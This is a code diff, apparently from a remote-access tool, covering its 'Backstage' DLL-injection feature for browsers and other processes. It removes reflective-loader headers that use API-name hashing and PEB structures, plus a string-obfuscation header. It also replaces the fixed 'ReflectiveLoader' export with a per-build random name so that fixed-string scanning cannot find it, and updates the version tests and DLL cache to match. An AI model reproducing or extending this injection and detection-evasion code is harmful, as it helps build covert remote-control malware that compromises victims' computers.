||||||
#include "ReflectiveDLLInjection.h"
|
|
||||||
|
|
||||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
|
||||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
|
||||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
|
||||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
|
||||||
|
|
||||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
|
||||||
#define NTDLLDLL_HASH 0x3CFA685D
|
|
||||||
|
|
||||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
|
||||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
|
||||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
|
||||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
|
||||||
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
|
||||||
|
|
||||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
|
||||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
|
||||||
#define ARM_MOVW 0xF2400000
|
|
||||||
#define ARM_MOVT 0xF2C00000
|
|
||||||
|
|
||||||
#define HASH_KEY 13
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
#pragma intrinsic( _rotr )
|
|
||||||
#define RDI_INLINE __forceinline
|
|
||||||
#else
|
|
||||||
#define RDI_INLINE static inline __attribute__((always_inline))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
RDI_INLINE DWORD ror(DWORD d)
|
|
||||||
{
|
|
||||||
return _rotr(d, HASH_KEY);
|
|
||||||
}
|
|
||||||
|
|
||||||
RDI_INLINE DWORD hash(char* c)
|
|
||||||
{
|
|
||||||
register DWORD h = 0;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
h = ror(h);
|
|
||||||
h += *c;
|
|
||||||
} while (*++c);
|
|
||||||
|
|
||||||
return h;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
typedef struct _UNICODE_STR
|
|
||||||
{
|
|
||||||
USHORT Length;
|
|
||||||
USHORT MaximumLength;
|
|
||||||
PWSTR pBuffer;
|
|
||||||
} UNICODE_STR, * PUNICODE_STR;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
|
||||||
//__declspec( align(8) )
|
|
||||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
|
||||||
{
|
|
||||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
UNICODE_STR FullDllName;
|
|
||||||
UNICODE_STR BaseDllName;
|
|
||||||
ULONG Flags;
|
|
||||||
SHORT LoadCount;
|
|
||||||
SHORT TlsIndex;
|
|
||||||
LIST_ENTRY HashTableEntry;
|
|
||||||
ULONG TimeDateStamp;
|
|
||||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
|
||||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
|
||||||
{
|
|
||||||
DWORD dwLength;
|
|
||||||
DWORD dwInitialized;
|
|
||||||
LPVOID lpSsHandle;
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
LPVOID lpEntryInProgress;
|
|
||||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
|
||||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
|
||||||
{
|
|
||||||
struct _PEB_FREE_BLOCK* pNext;
|
|
||||||
DWORD dwSize;
|
|
||||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
|
||||||
|
|
||||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
|
||||||
// WinDbg> dt -v ntdll!_PEB
|
|
||||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
|
||||||
{
|
|
||||||
BYTE bInheritedAddressSpace;
|
|
||||||
BYTE bReadImageFileExecOptions;
|
|
||||||
BYTE bBeingDebugged;
|
|
||||||
BYTE bSpareBool;
|
|
||||||
LPVOID lpMutant;
|
|
||||||
LPVOID lpImageBaseAddress;
|
|
||||||
PPEB_LDR_DATA pLdr;
|
|
||||||
LPVOID lpProcessParameters;
|
|
||||||
LPVOID lpSubSystemData;
|
|
||||||
LPVOID lpProcessHeap;
|
|
||||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
|
||||||
LPVOID lpFastPebLockRoutine;
|
|
||||||
LPVOID lpFastPebUnlockRoutine;
|
|
||||||
DWORD dwEnvironmentUpdateCount;
|
|
||||||
LPVOID lpKernelCallbackTable;
|
|
||||||
DWORD dwSystemReserved;
|
|
||||||
DWORD dwAtlThunkSListPtr32;
|
|
||||||
PPEB_FREE_BLOCK pFreeList;
|
|
||||||
DWORD dwTlsExpansionCounter;
|
|
||||||
LPVOID lpTlsBitmap;
|
|
||||||
DWORD dwTlsBitmapBits[2];
|
|
||||||
LPVOID lpReadOnlySharedMemoryBase;
|
|
||||||
LPVOID lpReadOnlySharedMemoryHeap;
|
|
||||||
LPVOID lpReadOnlyStaticServerData;
|
|
||||||
LPVOID lpAnsiCodePageData;
|
|
||||||
LPVOID lpOemCodePageData;
|
|
||||||
LPVOID lpUnicodeCaseTableData;
|
|
||||||
DWORD dwNumberOfProcessors;
|
|
||||||
DWORD dwNtGlobalFlag;
|
|
||||||
LARGE_INTEGER liCriticalSectionTimeout;
|
|
||||||
DWORD dwHeapSegmentReserve;
|
|
||||||
DWORD dwHeapSegmentCommit;
|
|
||||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
|
||||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
|
||||||
DWORD dwNumberOfHeaps;
|
|
||||||
DWORD dwMaximumNumberOfHeaps;
|
|
||||||
LPVOID lpProcessHeaps;
|
|
||||||
LPVOID lpGdiSharedHandleTable;
|
|
||||||
LPVOID lpProcessStarterHelper;
|
|
||||||
DWORD dwGdiDCAttributeList;
|
|
||||||
LPVOID lpLoaderLock;
|
|
||||||
DWORD dwOSMajorVersion;
|
|
||||||
DWORD dwOSMinorVersion;
|
|
||||||
WORD wOSBuildNumber;
|
|
||||||
WORD wOSCSDVersion;
|
|
||||||
DWORD dwOSPlatformId;
|
|
||||||
DWORD dwImageSubsystem;
|
|
||||||
DWORD dwImageSubsystemMajorVersion;
|
|
||||||
DWORD dwImageSubsystemMinorVersion;
|
|
||||||
DWORD dwImageProcessAffinityMask;
|
|
||||||
DWORD dwGdiHandleBuffer[34];
|
|
||||||
LPVOID lpPostProcessInitRoutine;
|
|
||||||
LPVOID lpTlsExpansionBitmap;
|
|
||||||
DWORD dwTlsExpansionBitmapBits[32];
|
|
||||||
DWORD dwSessionId;
|
|
||||||
ULARGE_INTEGER liAppCompatFlags;
|
|
||||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
|
||||||
LPVOID lppShimData;
|
|
||||||
LPVOID lpAppCompatInfo;
|
|
||||||
UNICODE_STR usCSDVersion;
|
|
||||||
LPVOID lpActivationContextData;
|
|
||||||
LPVOID lpProcessAssemblyStorageMap;
|
|
||||||
LPVOID lpSystemDefaultActivationContextData;
|
|
||||||
LPVOID lpSystemAssemblyStorageMap;
|
|
||||||
DWORD dwMinimumStackCommit;
|
|
||||||
} _PEB, * _PPEB;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
WORD offset : 12;
|
|
||||||
WORD type : 4;
|
|
||||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
@@ -1,57 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <string.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define OBFS_KEY 16
|
|
||||||
|
|
||||||
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
|
|
||||||
|
|
||||||
static inline char* obfs_dec(char* buf, int len)
|
|
||||||
{
|
|
||||||
for (int i = 0; i < len; i++)
|
|
||||||
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
|
|
||||||
return buf;
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef _MSC_VER
|
|
||||||
#define OBFS(arr) \
|
|
||||||
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
|
|
||||||
(int)(sizeof(arr) - 1))
|
|
||||||
#else
|
|
||||||
#define OBFS(arr) \
|
|
||||||
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
|
|
||||||
(int)(sizeof(arr) - 1))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// ---- Encrypted string arrays ----
|
|
||||||
// Use _OBF_CHR() for each character so the compiler folds to constants.
|
|
||||||
|
|
||||||
static const unsigned char _enc_ReflectiveLoader[] = {
|
|
||||||
_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
|
|
||||||
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
|
||||||
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
|
|
||||||
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
|
|
||||||
};
|
|
||||||
|
|
||||||
static const unsigned char _enc_ntdll_dll[] = {
|
|
||||||
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
|
|
||||||
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
|
|
||||||
_OBF_CHR('l'), 0
|
|
||||||
};
|
|
||||||
|
|
||||||
static const unsigned char _enc_RtlAddFunctionTable[] = {
|
|
||||||
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
|
|
||||||
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
|
|
||||||
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
|
|
||||||
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
|
|
||||||
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
|
|
||||||
};
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
|
||||||
#ifndef _backstage_SEH_COMPAT_H
|
|
||||||
#define _backstage_SEH_COMPAT_H
|
|
||||||
|
|
||||||
#ifdef __MINGW32__
|
|
||||||
// MinGW doesn't support MSVC structured exception handling.
|
|
||||||
// Replace __try/__except with plain code execution (no SEH guard).
|
|
||||||
#define __try
|
|
||||||
#define __except(x) if (0)
|
|
||||||
#define __finally
|
|
||||||
|
|
||||||
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
|
||||||
#ifndef GetExceptionCode
|
|
||||||
#define GetExceptionCode() 0
|
|
||||||
#endif
|
|
||||||
#endif // __MINGW32__
|
|
||||||
|
|
||||||
#endif // _backstage_SEH_COMPAT_H
|
|
||||||
@@ -1750,12 +1750,8 @@ func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
|||||||
// BackstageInjection reflective loader entry. The loader entry is exported
|
// BackstageInjection reflective loader entry. The loader entry is exported
|
||||||
// under a per-build random name of the form "x" + six lowercase hex digits
|
// under a per-build random name of the form "x" + six lowercase hex digits
|
||||||
// (generated by the DLL's build.rs), so a fixed string cannot be used to
|
// (generated by the DLL's build.rs), so a fixed string cannot be used to
|
||||||
// find it. The legacy fixed name is still accepted so DLL artifacts produced
|
// find it.
|
||||||
// by older builds keep working.
|
|
||||||
func isBackstageLoaderExport(name string) bool {
|
func isBackstageLoaderExport(name string) bool {
|
||||||
if name == "ReflectiveLoader" {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
if len(name) != 7 || name[0] != 'x' {
|
if len(name) != 7 || name[0] != 'x' {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -115,13 +115,13 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) {
|
|||||||
_ = getProcessesLockingFile("a")
|
_ = getProcessesLockingFile("a")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) {
|
func TestIsBackstageLoaderExportAcceptsRandomizedExport(t *testing.T) {
|
||||||
for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} {
|
for _, name := range []string{"x012abc", "xffffff"} {
|
||||||
if !isBackstageLoaderExport(name) {
|
if !isBackstageLoaderExport(name) {
|
||||||
t.Fatalf("expected loader export %q to be accepted", name)
|
t.Fatalf("expected loader export %q to be accepted", name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} {
|
for _, name := range []string{"ReflectiveLoader", "reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} {
|
||||||
if isBackstageLoaderExport(name) {
|
if isBackstageLoaderExport(name) {
|
||||||
t.Fatalf("expected loader export %q to be rejected", name)
|
t.Fatalf("expected loader export %q to be rejected", name)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
package wire
|
package wire
|
||||||
|
|
||||||
const (
|
const (
|
||||||
WireSchemaVersion = 1
|
WireSchemaVersion = 2
|
||||||
WireProtocolVersion = 1
|
WireProtocolVersion = 1
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
|
|||||||
CommandBackstageSetQuality: {Min: 1, Max: 1},
|
CommandBackstageSetQuality: {Min: 1, Max: 1},
|
||||||
CommandBackstageSetResolution: {Min: 1, Max: 1},
|
CommandBackstageSetResolution: {Min: 1, Max: 1},
|
||||||
CommandBackstageStart: {Min: 1, Max: 1},
|
CommandBackstageStart: {Min: 1, Max: 1},
|
||||||
CommandBackstageStartBrowserInjected: {Min: 1, Max: 2},
|
CommandBackstageStartBrowserInjected: {Min: 2, Max: 3},
|
||||||
CommandBackstageStartChromeInjected: {Min: 1, Max: 2},
|
CommandBackstageStartChromeInjected: {Min: 2, Max: 3},
|
||||||
CommandBackstageStartProcess: {Min: 1, Max: 1},
|
CommandBackstageStartProcess: {Min: 1, Max: 1},
|
||||||
CommandBackstageStartProcessInjected: {Min: 1, Max: 2},
|
CommandBackstageStartProcessInjected: {Min: 2, Max: 3},
|
||||||
CommandBackstageStop: {Min: 1, Max: 1},
|
CommandBackstageStop: {Min: 1, Max: 1},
|
||||||
CommandBackstageWindowList: {Min: 1, Max: 1},
|
CommandBackstageWindowList: {Min: 1, Max: 1},
|
||||||
CommandClientLogsRequest: {Min: 1, Max: 1},
|
CommandClientLogsRequest: {Min: 1, Max: 1},
|
||||||
|
|||||||
@@ -17,20 +17,23 @@ func TestGeneratedWireContract(t *testing.T) {
|
|||||||
if !ok {
|
if !ok {
|
||||||
t.Fatalf("missing version range for %s", command)
|
t.Fatalf("missing version range for %s", command)
|
||||||
}
|
}
|
||||||
wantMax := 1
|
wantMin, wantMax := 1, 1
|
||||||
switch command {
|
switch command {
|
||||||
case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected:
|
case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected:
|
||||||
wantMax = 2
|
wantMin, wantMax = 2, 3
|
||||||
}
|
}
|
||||||
if versionRange.Min != 1 || versionRange.Max != wantMax {
|
if versionRange.Min != wantMin || versionRange.Max != wantMax {
|
||||||
t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
|
t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
|
||||||
}
|
}
|
||||||
if !IsSupportedCommandVersion(string(command), 1) {
|
if IsSupportedCommandVersion(string(command), 1) != (wantMin == 1) {
|
||||||
t.Fatalf("%s must support v1", command)
|
t.Fatalf("unexpected v1 support for %s", command)
|
||||||
}
|
}
|
||||||
if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) {
|
if IsSupportedCommandVersion(string(command), 2) != (wantMin <= 2 && wantMax >= 2) {
|
||||||
t.Fatalf("unexpected v2 support for %s", command)
|
t.Fatalf("unexpected v2 support for %s", command)
|
||||||
}
|
}
|
||||||
|
if IsSupportedCommandVersion(string(command), 3) != (wantMin <= 3 && wantMax >= 3) {
|
||||||
|
t.Fatalf("unexpected v3 support for %s", command)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if !IsCommandType("desktop_start") {
|
if !IsCommandType("desktop_start") {
|
||||||
t.Fatal("desktop_start must be a known command")
|
t.Fatal("desktop_start must be a known command")
|
||||||
|
|||||||
@@ -46,25 +46,34 @@ describe("command version negotiation", () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => {
|
test("rejects legacy (v1-only) Backstage agents and negotiates v2/v3 with newer agents", () => {
|
||||||
const command = "backstage_start_browser_injected" as const;
|
const command = "backstage_start_browser_injected" as const;
|
||||||
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
|
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
|
||||||
|
|
||||||
expect(versionCommandForClient({}, {
|
// Pre-3.0 agents assume v1, which the server no longer supports.
|
||||||
type: "command",
|
expect(getCommandCompatibility({}, command)).toMatchObject({
|
||||||
commandType: command,
|
supported: false,
|
||||||
id: "legacy-backstage",
|
reason: "no_common_version",
|
||||||
payload,
|
});
|
||||||
})).toMatchObject({ commandVersion: 1, payload });
|
expect(() => requireCommandVersion({}, command)).toThrow("no shared version");
|
||||||
|
|
||||||
expect(versionCommandForClient({
|
expect(versionCommandForClient({
|
||||||
commandVersions: { [command]: { min: 1, max: 2 } },
|
commandVersions: { [command]: { min: 1, max: 2 } },
|
||||||
}, {
|
}, {
|
||||||
type: "command",
|
type: "command",
|
||||||
commandType: command,
|
commandType: command,
|
||||||
id: "current-backstage",
|
id: "v2-backstage",
|
||||||
payload,
|
payload,
|
||||||
})).toMatchObject({ commandVersion: 2, payload });
|
})).toMatchObject({ commandVersion: 2, payload });
|
||||||
|
|
||||||
|
expect(versionCommandForClient({
|
||||||
|
commandVersions: { [command]: { min: 2, max: 3 } },
|
||||||
|
}, {
|
||||||
|
type: "command",
|
||||||
|
commandType: command,
|
||||||
|
id: "v3-backstage",
|
||||||
|
payload,
|
||||||
|
})).toMatchObject({ commandVersion: 3, payload });
|
||||||
});
|
});
|
||||||
|
|
||||||
test("strictly reports missing commands and non-overlapping versions", () => {
|
test("strictly reports missing commands and non-overlapping versions", () => {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
// Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT.
|
// Code generated by scripts/generate-wire-protocol.ts; DO NOT EDIT.
|
||||||
|
|
||||||
export const WIRE_SCHEMA_VERSION = 1 as const;
|
export const WIRE_SCHEMA_VERSION = 2 as const;
|
||||||
export const WIRE_PROTOCOL_VERSION = 1 as const;
|
export const WIRE_PROTOCOL_VERSION = 1 as const;
|
||||||
|
|
||||||
export const WIRE_MESSAGE_TYPES = [
|
export const WIRE_MESSAGE_TYPES = [
|
||||||
@@ -376,20 +376,20 @@ export const COMMAND_VERSION_SUPPORT = {
|
|||||||
"max": 1
|
"max": 1
|
||||||
},
|
},
|
||||||
"backstage_start_browser_injected": {
|
"backstage_start_browser_injected": {
|
||||||
"min": 1,
|
"min": 2,
|
||||||
"max": 2
|
"max": 3
|
||||||
},
|
},
|
||||||
"backstage_start_chrome_injected": {
|
"backstage_start_chrome_injected": {
|
||||||
"min": 1,
|
"min": 2,
|
||||||
"max": 2
|
"max": 3
|
||||||
},
|
},
|
||||||
"backstage_start_process": {
|
"backstage_start_process": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 1
|
||||||
},
|
},
|
||||||
"backstage_start_process_injected": {
|
"backstage_start_process_injected": {
|
||||||
"min": 1,
|
"min": 2,
|
||||||
"max": 2
|
"max": 3
|
||||||
},
|
},
|
||||||
"backstage_stop": {
|
"backstage_stop": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
|
|||||||
@@ -34,9 +34,11 @@ describe("generated wire protocol contract", () => {
|
|||||||
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
|
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
|
||||||
for (const command of COMMAND_TYPES) {
|
for (const command of COMMAND_TYPES) {
|
||||||
const isVersioned = versionedBackstageCommands.has(command);
|
const isVersioned = versionedBackstageCommands.has(command);
|
||||||
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 });
|
expect(COMMAND_VERSION_SUPPORT[command].min).toBe(isVersioned ? 2 : 1);
|
||||||
expect(isSupportedCommandVersion(command, 1)).toBe(true);
|
expect(COMMAND_VERSION_SUPPORT[command].max).toBe(isVersioned ? 3 : 1);
|
||||||
|
expect(isSupportedCommandVersion(command, 1)).toBe(!isVersioned);
|
||||||
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
|
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
|
||||||
|
expect(isSupportedCommandVersion(command, 3)).toBe(isVersioned);
|
||||||
if (isVersioned) {
|
if (isVersioned) {
|
||||||
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
|
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -1,13 +1,12 @@
|
|||||||
import { describe, expect, test } from "bun:test";
|
import { describe, expect, test } from "bun:test";
|
||||||
import {
|
import {
|
||||||
BACKSTAGE_DLL_NAME,
|
BACKSTAGE_DLL_NAME,
|
||||||
BACKSTAGE_LEGACY_DLL_NAME,
|
|
||||||
injectionDllCandidates,
|
injectionDllCandidates,
|
||||||
} from "./backstage-dll-cache";
|
} from "./backstage-dll-cache";
|
||||||
|
|
||||||
describe("Backstage DLL command-version artifacts", () => {
|
describe("Backstage DLL artifacts", () => {
|
||||||
test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => {
|
test("serves a single randomized-export artifact", () => {
|
||||||
expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true);
|
expect(injectionDllCandidates().length).toBeGreaterThan(0);
|
||||||
expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
|
expect(injectionDllCandidates().every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
@@ -5,71 +5,63 @@ import { logger } from "../logger";
|
|||||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||||
|
|
||||||
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
|
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
|
||||||
export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
|
|
||||||
|
|
||||||
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
|
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
|
||||||
// used so a re-randomized (rebuild) copy survives container restarts and is
|
// used so a re-randomized (rebuild) copy survives container restarts and is
|
||||||
// preferred over the image-baked dist-clients copy. Overrideable for unusual
|
// preferred over the image-baked dist-clients copy. Overrideable for unusual
|
||||||
// deployments.
|
// deployments.
|
||||||
export function backstageDllOutputPath(commandVersion = 2): string {
|
export function backstageDllOutputPath(): string {
|
||||||
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
|
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
|
||||||
if (explicit) {
|
if (explicit) {
|
||||||
const resolved = path.resolve(explicit);
|
return path.resolve(explicit);
|
||||||
return commandVersion === 1
|
|
||||||
? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
|
|
||||||
: resolved;
|
|
||||||
}
|
}
|
||||||
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
|
||||||
return path.join(ensureDataDir(), "dist-clients", name);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function builtinDllCandidates(commandVersion: number): string[] {
|
function builtinDllCandidates(): string[] {
|
||||||
const runtimeRoot = resolveRuntimeRoot();
|
const runtimeRoot = resolveRuntimeRoot();
|
||||||
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
|
||||||
return [
|
return [
|
||||||
path.resolve(runtimeRoot, "dist-clients", name),
|
path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
|
||||||
path.resolve(process.cwd(), "dist-clients", name),
|
path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
|
||||||
path.resolve(import.meta.dir, "../../dist-clients", name),
|
path.resolve(import.meta.dir, "../../dist-clients", BACKSTAGE_DLL_NAME),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
export function injectionDllCandidates(commandVersion = 2): string[] {
|
export function injectionDllCandidates(): string[] {
|
||||||
// Fresh builds land in the data dir first; image-baked dist-clients copies
|
// Fresh builds land in the data dir first; image-baked dist-clients copies
|
||||||
// are the offline fallback.
|
// are the offline fallback.
|
||||||
return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)];
|
return [backstageDllOutputPath(), ...builtinDllCandidates()];
|
||||||
}
|
}
|
||||||
|
|
||||||
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
|
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
|
||||||
const dllCache = new Map<number, DllCacheEntry>();
|
let dllCache: DllCacheEntry | null = null;
|
||||||
|
|
||||||
export function invalidateBackstageDll(): void {
|
export function invalidateBackstageDll(): void {
|
||||||
dllCache.clear();
|
dllCache = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
|
export function getInjectionDllBytes(): Uint8Array | null {
|
||||||
const artifactVersion = commandVersion === 1 ? 1 : 2;
|
const candidates = injectionDllCandidates();
|
||||||
const candidates = injectionDllCandidates(artifactVersion);
|
|
||||||
const cached = dllCache.get(artifactVersion);
|
|
||||||
|
|
||||||
if (cached) {
|
if (dllCache) {
|
||||||
// If a freshly rebuilt DLL exists in the data dir but the cache points at
|
// If a freshly rebuilt DLL exists in the data dir but the cache points at
|
||||||
// an older path, rescan instead of serving stale bytes.
|
// an older path, rescan instead of serving stale bytes.
|
||||||
const freshOutput = backstageDllOutputPath(artifactVersion);
|
const freshOutput = backstageDllOutputPath();
|
||||||
if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
if (path.resolve(dllCache.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
||||||
try {
|
try {
|
||||||
const st = statSync(cached.path);
|
const st = statSync(dllCache.path);
|
||||||
if (st.mtimeMs === cached.mtimeMs) {
|
if (st.mtimeMs === dllCache.mtimeMs) {
|
||||||
return cached.bytes;
|
return dllCache.bytes;
|
||||||
}
|
}
|
||||||
const bytes = new Uint8Array(readFileSync(cached.path));
|
const bytes = new Uint8Array(readFileSync(dllCache.path));
|
||||||
dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs });
|
dllCache = { bytes, path: dllCache.path, mtimeMs: st.mtimeMs };
|
||||||
logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`);
|
logger.info(`[backstage] reloaded injection DLL from ${dllCache.path} (${bytes.length} bytes)`);
|
||||||
return bytes;
|
return bytes;
|
||||||
} catch {
|
} catch {
|
||||||
dllCache.delete(artifactVersion);
|
dllCache = null;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
dllCache.delete(artifactVersion);
|
dllCache = null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,14 +70,14 @@ export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
|
|||||||
try {
|
